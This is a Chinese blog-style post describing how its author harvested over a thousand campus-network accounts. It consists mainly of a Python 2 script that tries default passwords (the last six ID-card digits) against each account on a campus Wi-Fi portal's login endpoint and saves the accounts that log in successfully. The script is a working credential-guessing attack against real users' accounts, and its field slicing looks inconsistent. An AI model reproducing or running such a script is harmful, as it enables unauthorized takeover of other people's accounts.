原文来源:爬取校园网1000多条账号密码——珍惜每分每秒
已知一列表的账号与原始密码(身份证后六位),试图逐个登录验证没改密码的多少???
#coding:utf-8
import requests
import re
import os, sys
import time
from bs4 import BeautifulSoup
'''
作用:校园网
'''
def readinfo():
file = open("sub.txt","r")
text = file.read()
list = text.split("\n")
return list
def user_exit(name):
#登入成功进入的页面
#url = "http://10.202.1.2:8080/zportal/goToAuthResult"
exit_url = "http://10.202.1.2:8080/zportal/logout"
data = {
"autoLoginFlag": "false",
"deviceIp": "10.206.1.1",
"isMacFastAuth": "false",
"userIp": "10.100.44.158",
"userMac": "98541b5f979a",
"userName": name
}
requests.post(exit_url, data=data)
def xyw():
result = ""
url = 'http://10.202.1.2:8080/zportal/loginForWeb?wlanuserip=908ddb7475c53e3a7585110e4b623f34&wlanacname=5bf1c477aaa191544c9ba837272c7e8a&ssid=2b1f84b925bc118e3531cd2f67c97ade&nasip=a8c37e2337cccb3d6a6296843936e16c&snmpagentip=&mac=55c25a6aee17635a02cdfbfd2ab60b93&t=wireless-v2&url=fc7d87852b95d45e3af982c507b3ec9043786651810bf9aab66e8f4acad19a0a461f204551ddc76c&apmac=&nasid=5bf1c477aaa191544c9ba837272c7e8a&vid=c406bbb8966f658a&port=fe413d1c64aa0d70&nasportid=a25b45948c15af404ab1f0ea3233e160e6c6fae2c67d17dd3a5ba1ef8f21353c'
login_url = "http://10.202.1.2:8080/zportal/login/do"
html = requests.get(url)
list = readinfo()
count = 0
for itme in list:
name = itme[10:]
password = itme[12:]
data = {
"mac": "55c25a6aee17635a02cdfbfd2ab60b93",
"nasip": "a8c37e2337cccb3d6a6296843936e16c",
"pwd": password,
"qrCodeId": "请输入编号",
"ssid": "2b1f84b925bc118e3531cd2f67c97ade",
"t": "wireless - v2",
"url": "fc7d87852b95d45e3af982c507b3ec9043786651810bf9aab66e8f4acad19a0a461f204551ddc76c",
"username": name,
"validCode": "验证码",
"validCodeFlag": "false",
"wlanacname": "5bf1c477aaa191544c9ba837272c7e8a",
"wlanuserip": "908ddb7475c53e3a7585110e4b623f34"
}
content = requests.post(login_url,data=data)
if content.text == '{"message":"","nextPage":"goToAuthResult","result":"success"}':
print "登入成功",name
#保存, 做下线处理
user_exit(name)
result += name+"\n"
count += 1
print "总记录:%d" % count
with open("success.txt", "w") as f:
f.write(result)
if __name__ == "__main__":
xyw()
xyw() 方法是进行post提交的
user_exit(name) 进行用户退出的, 登入一个就不能继续操作了,所以还需要下线一下